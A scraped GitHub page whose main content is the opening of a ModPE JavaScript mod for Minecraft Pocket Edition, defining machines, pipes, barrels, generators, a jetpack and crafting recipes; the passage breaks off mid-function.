2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </include-fragment> </div> </div> </div> </details-menu> </details> </div> <div class="text-right hide-lg hide-md hide-sm hide-xs flex-self-end "> <poll-include-fragment src="/chikitang/github-pages/graphs/participation?h=28&type=sparkline&w=155"> </poll-include-fragment> </div> </div> </li> </ul> <div class="paginate-container"> </div> </div> </div> </div> </div> </div></div> </main> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <ul class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <li class="mt-2 mt-lg-0 d-flex flex-items-center"> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> <span> © 2022 GitHub, Inc. </span> </li> </ul> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-8 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0"> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-analytics-event="{"category":"Footer","action":"go to terms","label":"text:terms"}">Terms</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-analytics-event="{"category":"Footer","action":"go to privacy","label":"text:privacy"}">Privacy</a></li> <li class="mr-3 mr-lg-0"><a data-analytics-event="{"category":"Footer","action":"go to security","label":"text:security"}" href="https://github.com/security">Security</a></li> <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{"category":"Footer","action":"go to status","label":"text:status"}">Status</a></li> <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li> <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{"category":"Footer","action":"go to contact","label":"text:contact"}">Contact GitHub</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{"category":"Footer","action":"go to Pricing","label":"text:Pricing"}">Pricing</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{"category":"Footer","action":"go to api","label":"text:api"}">API</a></li> <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{"category":"Footer","action":"go to training","label":"text:training"}">Training</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{"category":"Footer","action":"go to blog","label":"text:blog"}">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 color-fg-muted"></span> </div> </footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </clipboard-copy> </div> </template> <style> .user-mention[href$="/chikitang"] { color: var(--color-user-mention-fg); background-color: var(--color-user-mention-bg); border-radius: 2px; margin-left: -2px; margin-right: -2px; padding: 0 2px; } </style> </body> </html>
GitHub Repo
https://github.com/theherobrinehunter/Mod
theherobrinehunter/Mod
//Mod made by DAW330073 //http://www.minecraftforum.net/index.php?showtopic=2624956 //Update 1.3 //Added Drill var ex=[]; var wrenchEx=[]; var wrenchIm=[]; var wrenchFrqs=[]; var lastItem; var lastChestPart; var actualHealth; var lastY; var velY; var linking=false; var ButtonDown=false; var wrenchMode="linking"; var uBlocks=[]; var tickCounter=0; var bookOpened=false; var guidePage=0; var pBlocks=[]; var mBlocks=[]; var mBlocksSlots={"none":[0,0,0,0]}; var mBlocksProgress={"none":0}; var poweredBlocks=[]; var grinded={13:318,4:12,12:13}; var loaded=false; var display=new android.util.DisplayMetrics(); com.mojang.minecraftpe.MainActivity.currentMainActivity.get().getWindowManager().getDefaultDisplay().getMetrics(display); Block.defineBlock(180,"Barrel",[["itemframe_background",0],["piston_top_normal",0],["log",0],["log",0],["log",0],["log",0]],17,false,0); Block.setDestroyTime(180,2); Item.addCraftRecipe(180,1,0,[17,7,0,158,1,0]); Item.setCategory(180,8,0); Block.defineBlock(181,"Extraction item pipe","piston_inner",20,false,0); Block.setColor(181,[0xCC6600]); Block.setDestroyTime(181,0.45); Item.addCraftRecipe(181,1,0,[182,1,0,331,2,0]); Item.setCategory(181,8,0); Block.defineBlock(182,"Item pipe","piston_inner",20,false,0); Block.setDestroyTime(182,0.45); Item.addCraftRecipe(182,1,0,[463,6,0,20,3,0]); Item.setCategory(182,8,0); Block.defineBlock(183,"Cobblestone generator",[["stonecutter",2],["stonecutter",2],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(183,0.45); Item.addCraftRecipe(183,1,0,[20,2,0,257,1,0,1,6,0]); Item.setCategory(183,8,0); Block.defineBlock(184,"Farmer",[["stonecutter",2],["hayblock",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(184,0.45); Item.addCraftRecipe(184,1,0,[265,3,0,294,1,0,463,5,0]); Item.setCategory(184,8,0); Block.defineBlock(188,"Tree farmer",[["stonecutter",2],["planks",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(188,0.45); Item.addCraftRecipe(188,1,0,[265,3,0,268,1,0,463,5,0]); Item.setCategory(188,8,0); ModPE.setItem(460,"sign",0,"wrench",1); ModPE.langEdit("item.wrench.name","Linking Wrench"); Item.addCraftRecipe(460,1,0,[264,4,0]); Item.setCategory(460,2,0); ModPE.langEdit("item.bootsChain.name","G-Defy Boots"); Item.addCraftRecipe(305,1,0,[463,4,0]); Item.setCategory(305,2,0); ModPE.langEdit("item.chestplateChain.name","Jetpack"); Item.addCraftRecipe(303,1,0,[265,5,0,463,1,0,331,2,0]); Item.setCategory(303,2,0); ModPE.langEdit("item.helmetChain.name","HUD"); Item.addCraftRecipe(302,1,0,[265,5,0,331,1,0]); Item.setCategory(302,2,0); Block.defineBlock(191,"Stone generator",[["stonecutter",2],["stone",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(191,0.45); Item.addCraftRecipe(191,1,0,[20,2,0,257,1,0,1,6,0]); Item.setCategory(191,8,0); Block.defineBlock(192,"Obsidian generator",[["stonecutter",2],["obsidian",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(192,0.45); Item.addCraftRecipe(192,1,0,[20,2,0,257,1,0,1,6,0]); Item.setCategory(192,8,0); ModPE.setItem(461,"book_written",0,"guide",1); ModPE.langEdit("item.guide.name","ExtendedCraft Guide"); Item.addCraftRecipe(461,1,0,[340,1,0]); Item.setCategory(461,2,0); Block.defineBlock(193,"Solar Panel",[["coal_block",0],["redstone_lamp_off",0],["coal_block",0],["coal_block",0],["coal_block",0],["coal_block",0]],20,false,0); Block.setShape(193,0,0,0,1,0.2,1); Block.setDestroyTime(193,0.45); Item.addCraftRecipe(193,1,0,[102,3,0,194,3,0,265,3,0]); Item.setCategory(193,8,0); Block.defineBlock(194,"Wire",[["quartz_block",6],["quartz_block",6],["quartz_block",6],["quartz_block",6],["quartz_block",6],["quartz_block",6]],20,false,0); Block.setColor(194,[0xCC6633]); Block.setDestroyTime(194,0.45); Item.addCraftRecipe(194,1,0,[463,6,0,265,3,0]); Item.setCategory(194,8,0); ModPE.setItem(462,"painting",0,"powerMeter",1); ModPE.langEdit("item.powerMeter.name","Power Meter"); Item.addCraftRecipe(462,1,0,[331,5,0,194,3,0,323,1,0]); Item.setCategory(462,2,0); Block.defineBlock(195,"Grinder",[["iron_block",0],["iron_block",0],["furnace",2],["furnace",2],["furnace",2],["furnace",2]],20,false,0); Block.setDestroyTime(195,0.45); Item.addCraftRecipe(195,1,0,[194,2,0,199,1,0]); Item.setCategory(195,8,0); Block.defineBlock(196,"Rubber Sapling","sapling",6,false,1); Block.setColor(196,[0x85C272]); Block.setDestroyTime(196,0.1); Block.defineBlock(197,"Rubber Wood",[["log",5],["log",5],["log",4],["log",4],["log",4],["log",4]],17,false,0); Block.setColor(197,[0x5C3E33]); Block.setDestroyTime(197,2); Block.defineBlock(198,"Rubber Leaves",[["leaves",7],["leaves",7],["leaves",7],["leaves",7],["leaves",7],["leaves",7]],18,false,0); Block.setColor(198,[0x61845B]); Block.setDestroyTime(198,0.2); ModPE.setItem(463,"slimeball",0,"rubber",64); ModPE.langEdit("item.rubber.name","Rubber"); Item.addFurnaceRecipe(197,463,0); Block.defineBlock(199,"Machine Block","iron_block",20,false,0); Block.setDestroyTime(199,0.4); Item.addCraftRecipe(199,1,0,[265,8,0]); Block.defineBlock(200,"Drill",[["iron_block",0],["iron_block",0],["stonecutter",2],["stonecutter",2],["stonecutter",2],["stonecutter",2]],20,false,0); Block.setDestroyTime(200,0.45); Item.addCraftRecipe(200,1,0,[278,1,0,199,2,0,265,2,0,194,3,0]); Item.setCategory(200,8,0); Block.defineBlock(201,"drill",[["quartz_block",3],["quartz_block",3],["quartz_block",3],["quartz_block",3],["quartz_block",3],["quartz_block",3]],20,false,7); Block.setColor(201,[0x999999]); Block.setShape(201,0.4,0,0.4,0.6,1,0.6); function procCmd(cmd){ switch(cmd){ case "day": Level.setTime(0); break; case "kill": Player.setHealth(0); break; case "rubber": GrowTree(parseInt(Player.getX()),parseInt(Player.getY())-1,parseInt(Player.getZ())); break; } } function modTick(){ if(lastItem!=Player.getCarriedItem() && (lastItem==460 || Player.getCarriedItem()==460)){ if(lastItem==460) HideWrenchGUI(); else ShowWrenchGUI(); } if(lastItem!=Player.getCarriedItem() && (lastItem==461 || Player.getCarriedItem()==461)){ if(lastItem==461) HideGuideGUI(); else ShowGuideGUI(); } lastItem=Player.getCarriedItem(); if(lastChestPart!=Player.getArmorSlot(1) && (lastChestPart==303 || Player.getArmorSlot(1)==303)){ if(lastChestPart==303) HideJetpackGUI(); else ShowJetpackGUI(); } lastChestPart=Player.getArmorSlot(1); velY=(Player.getY()-lastY)/(1/20); lastY=Player.getY(); if(Player.getArmorSlot(3)==305){ if(Entity.getHealth(Player.getEntity())<=25) actualHealth=Entity.getHealth(Player.getEntity()); if(velY<-12 && Level.getTile(parseInt(Player.getX()),parseInt(Player.getY())-12,parseInt(Player.getZ()))!=0) Player.setHealth(Entity.getHealth(Player.getEntity())-velY); if(velY>-3 && Level.getTile(parseInt(Player.getX()),parseInt(Player.getY())-2,parseInt(Player.getZ()))!=0) Player.setHealth(actualHealth); } if(ButtonDown){ if(velY<0) Entity.setVelY(Player.getEntity(),0); if(velY>=0 && velY<0.6) Entity.setVelY(Player.getEntity(),velY+0.006); if(velY>=0.6) Entity.setVelY(Player.getEntity(),0.6); } tickCounter++; if(tickCounter==40){ renderHelmetGUI(); tickCounter=0; if(ex.length>0){ for(var i=0;i<ex.length;i++){ if(Level.getTile(ex[i][0],ex[i][1],ex[i][2])==181){ var sides=[[ex[i][0],ex[i][1]-1,ex[i][2]],[ex[i][0],ex[i][1]+1,ex[i][2]],[ex[i][0],ex[i][1],ex[i][2]-1],[ex[i][0],ex[i][1],ex[i][2]+1],[ex[i][0]-1,ex[i][1],ex[i][2]],[ex[i][0]+1,ex[i][1],ex[i][2]]]; var cx,cy,cz; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==54 || Level.getTile(sides[j][0],sides[j][1],sides[j][2])==61 || Level.getTile(sides[j][0],sides[j][1],sides[j][2])==62){ cx=sides[j][0]; cy=sides[j][1]; cz=sides[j][2]; break; } else if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==180){ var sides=[[sides[j][0],sides[j][1]-1,sides[j][2]],[sides[j][0],sides[j][1]+1,sides[j][2]],[sides[j][0],sides[j][1],sides[j][2]-1],[sides[j][0],sides[j][1],sides[j][2]+1],[sides[j][0]-1,sides[j][1],sides[j][2]],[sides[j][0]+1,sides[j][1],sides[j][2]]]; for(var k=0;k<6;k++){ if(Level.getTile(sides[k][0],sides[k][1],sides[k][2])==68 && Level.getSignText(sides[k][0],sides[k][1],sides[k][2],0)=="Barrel"){ cx=sides[k][0]; cy=sides[k][1]; cz=sides[k][2]; break; } } } } MoveItems([cx,cy,cz],FindChest(ex[i][0],ex[i][1],ex[i][2]),1); } else ex.splice(i,1); } } if(wrenchEx.length>0){ for(var i=0;i<wrenchEx.length;i++){ if(wrenchFrqs[i]==1) MoveItems(wrenchEx[i],wrenchIm[i],1); } } if(uBlocks.length>0){ for(var i=0;i<uBlocks.length;i++){ if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==183) //Cobblestone Generator(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],4,0,1); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==184) //Seeds Farmer(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],2); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==188) //Trees TreeFarmer(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],2); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==191) //Stone Generator(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],1,0,1); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==192) //Obsidian Generator(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],49,0,1); else uBlocks.splice(i,1); } } CheckTheWires(); } if(!loaded && Level.getTile(parseInt(Player.getX()),parseInt(Player.getY())-2,parseInt(Player.getZ()))!=0){ if(Level.getTile(1,1,1)!=197){ for(var i=0;i<Math.floor(Math.random()*11)+15;i++){ var x=Math.floor(Math.random()*245)+10; var z=Math.floor(Math.random()*245)+10; var y=FindHighestY(x,z); if(Level.getTile(x,y,z)==2) GrowTree(x,y+1,z); } Level.setTile(1,1,1,197); } loaded=true; } Machines(); } function useItem(x,y,z,itemID,blockID,side){ if(blockID==196 && itemID==351 && Player.getCarriedItemData()==15) GrowTree(x,y,z); if(itemID==462){ preventDefault(); if(InArray([x,y,z],poweredBlocks)) clientMessage("Power flowing."); else clientMessage("No power."); } if(itemID==195 || itemID==200){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,itemID,0); if(!InArray([x,y,z],mBlocks)){ mBlocks.push([sides[side][0],sides[side][1],sides[side][2]]); if(itemID==195){ if(!mBlocksSlots[sides[side][0]+","+sides[side][1]+","+sides[side][2]]) mBlocksSlots[sides[side][0]+","+sides[side][1]+","+sides[side][2]]=[0,0,0,0]; if(!mBlocksProgress[sides[side][0]+","+sides[side][1]+","+sides[side][2]]) mBlocksProgress[sides[side][0]+","+sides[side][1]+","+sides[side][2]]=0; } } } if(blockID==195 || blockID==200){ preventDefault(); if(!InArray([x,y,z],mBlocks)){ mBlocks.push([x,y,z]); if(blockID==195){ if(!mBlocksSlots[x+","+y+","+z]) mBlocksSlots[x+","+y+","+z]=[0,0,0,0]; if(!mBlocksProgress[x+","+y+","+z]) mBlocksProgress[x+","+y+","+z]=0; } } if(blockID==195) ShowMachineGUI(x+","+y+","+z); } if(itemID>192 && itemID<195){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,itemID,0); if(!InArray([x,y,z],pBlocks)) pBlocks.push([sides[side][0],sides[side][1],sides[side][2]]); } if(blockID>192 && blockID<195){ if(!InArray([x,y,z],pBlocks)) pBlocks.push([x,y,z]); } CheckTheWires(); if(Player.getArmorSlot(0)==302) renderHelmetGUI(); if(itemID>182 && itemID<193){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,itemID,0); if(!InArray([x,y,z],uBlocks)) uBlocks.push([sides[side][0],sides[side][1],sides[side][2]]); } if(blockID>182 && blockID<193){ if(!InArray([x,y,z],uBlocks)) uBlocks.push([x,y,z]); } if(itemID==181){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,181,0); x=sides[side][0]; y=sides[side][1]; z=sides[side][2]; var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if((Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==61 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==62) && !InArray(sides[i],ex)){ ex.push([x,y,z]); break; } else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==180){ sides=[[sides[i][0],sides[i][1]-1,sides[i][2]],[sides[i][0],sides[i][1]+1,sides[i][2]],[sides[i][0],sides[i][1],sides[i][2]-1],[sides[i][0],sides[i][1],sides[i][2]+1],[sides[i][0]-1,sides[i][1],sides[i][2]],[sides[i][0]+1,sides[i][1],sides[i][2]]]; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==68 && Level.getSignText(sides[j][0],sides[j][1],sides[j][2],0)=="Barrel"){ ex.push([x,y,z]); break; } } break; } } } if(blockID==181){ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if((Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==61 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==62) && !InArray(sides[i],ex)){ ex.push([x,y,z]); break; } else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==180){ sides=[[sides[i][0],sides[i][1]-1,sides[i][2]],[sides[i][0],sides[i][1]+1,sides[i][2]],[sides[i][0],sides[i][1],sides[i][2]-1],[sides[i][0],sides[i][1],sides[i][2]+1],[sides[i][0]-1,sides[i][1],sides[i][2]],[sides[i][0]+1,sides[i][1],sides[i][2]]]; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==68 && Level.getSignText(sides[j][0],sides[j][1],sides[j][2],0)=="Barrel"){ ex.push([x,y,z]); break; } } break; } } } if(itemID==180 && blockID!=68){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; var finalPos=[sides[side][0],sides[side][1],sides[side][2]]; if(side!=1) var sides=[[sides[side][0],sides[side][1]+1,sides[side][2]],[sides[side][0],sides[side][1]-1,sides[side][2]],[sides[side][0],sides[side][1],sides[side][2]-1],[sides[side][0],sides[side][1],sides[side][2]+1],[sides[side][0]-1,sides[side][1],sides[side][2]],[sides[side][0]+1,sides[side][1],sides[side][2]]]; else{ var rot=getYaw(); if(rot<0) rot=-rot; while(rot>=360) rot-=360; if(rot>=45 && rot<=135) side=2; if(rot>=135 && rot<=225) side=3; if(rot>=225 && rot<=315) side=4; if((rot>0 && rot<=45) || (rot>=315 && rot<=360)) side=5; var sides=[[finalPos[0],finalPos[1]-1,finalPos[2]],[finalPos[0],finalPos[1]+1,finalPos[2]],[finalPos[0],finalPos[1],finalPos[2]-1],[finalPos[0],finalPos[1],finalPos[2]+1],[finalPos[0]-1,finalPos[1],finalPos[2]],[finalPos[0]+1,finalPos[1],finalPos[2]]]; } if(Level.getTile(finalPos[0],finalPos[1],finalPos[2])==0 && Level.getTile(sides[side][0],sides[side][1],sides[side][2])==0){ Level.setTile(finalPos[0],finalPos[1],finalPos[2],180,0); Level.setTile(sides[side][0],sides[side][1],sides[side][2],68,side); Level.setSignText(sides[side][0],sides[side][1],sides[side][2],0,"Barrel"); Level.setSignText(sides[side][0],sides[side][1],sides[side][2],3,"Barrel"); if(Player.getCarriedItemCount()>1) Entity.setCarriedItem(Player.getEntity(),Player.getCarriedItem(),Player.getCarriedItemCount()-1,Player.getCarriedItemData()); else{ for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && Player.getInventorySlotData(i)==Player.getCarriedItemData() && Player.getInventorySlotCount(i)==Player.getCarriedItemCount()){ Player.clearInventorySlot(i); break; } } } } } if(blockID==68 && itemID!=460){ preventDefault(); var sides=[[x,y+1,z],[x,y-1,z],[x,y,z+1],[x,y,z-1],[x+1,y,z],[x-1,y,z]]; if(Player.getCarriedItem()!=0) var name=GetItemBlockName(Player.getCarriedItem()+":"+Player.getCarriedItemData()); else var name="hand"; if(name!="hand" && Level.getSignText(x,y,z,0)=="Barrel" && Level.getSignText(x,y,z,3)=="Barrel" && Level.getTile(sides[Level.getData(x,y,z)][0],sides[Level.getData(x,y,z)][1],sides[Level.getData(x,y,z)][2])==180){ Level.setSignText(x,y,z,3,Player.getCarriedItem()+":"+Player.getCarriedItemData()); Level.setSignText(x,y,z,1,name); if(Player.getCarriedItemCount()==64) Level.setSignText(x,y,z,2,"1x64+0"); else Level.setSignText(x,y,z,2,"0x64+"+Player.getCarriedItemCount()); for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && Player.getInventorySlotData(i)==Player.getCarriedItemData() && Player.getInventorySlotCount(i)==Player.getCarriedItemCount()){ Player.clearInventorySlot(i); break; } } } else if(name!="hand" && Level.getSignText(x,y,z,0)=="Barrel" && Level.getSignText(x,y,z,1)==name && Level.getTile(sides[Level.getData(x,y,z)][0],sides[Level.getData(x,y,z)][1],sides[Level.getData(x,y,z)][2])==180){ var itemCount=64*parseInt(Level.getSignText(x,y,z,2).split("x")[0])+parseInt(Level.getSignText(x,y,z,2).split("+")[1]); if(itemCount<4096 && itemCount+Player.getCarriedItemCount()<=4096){ itemCount+=Player.getCarriedItemCount(); Level.setSignText(x,y,z,2,parseInt(itemCount/64)+"x64+"+(itemCount-parseInt(itemCount/64)*64)); for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && 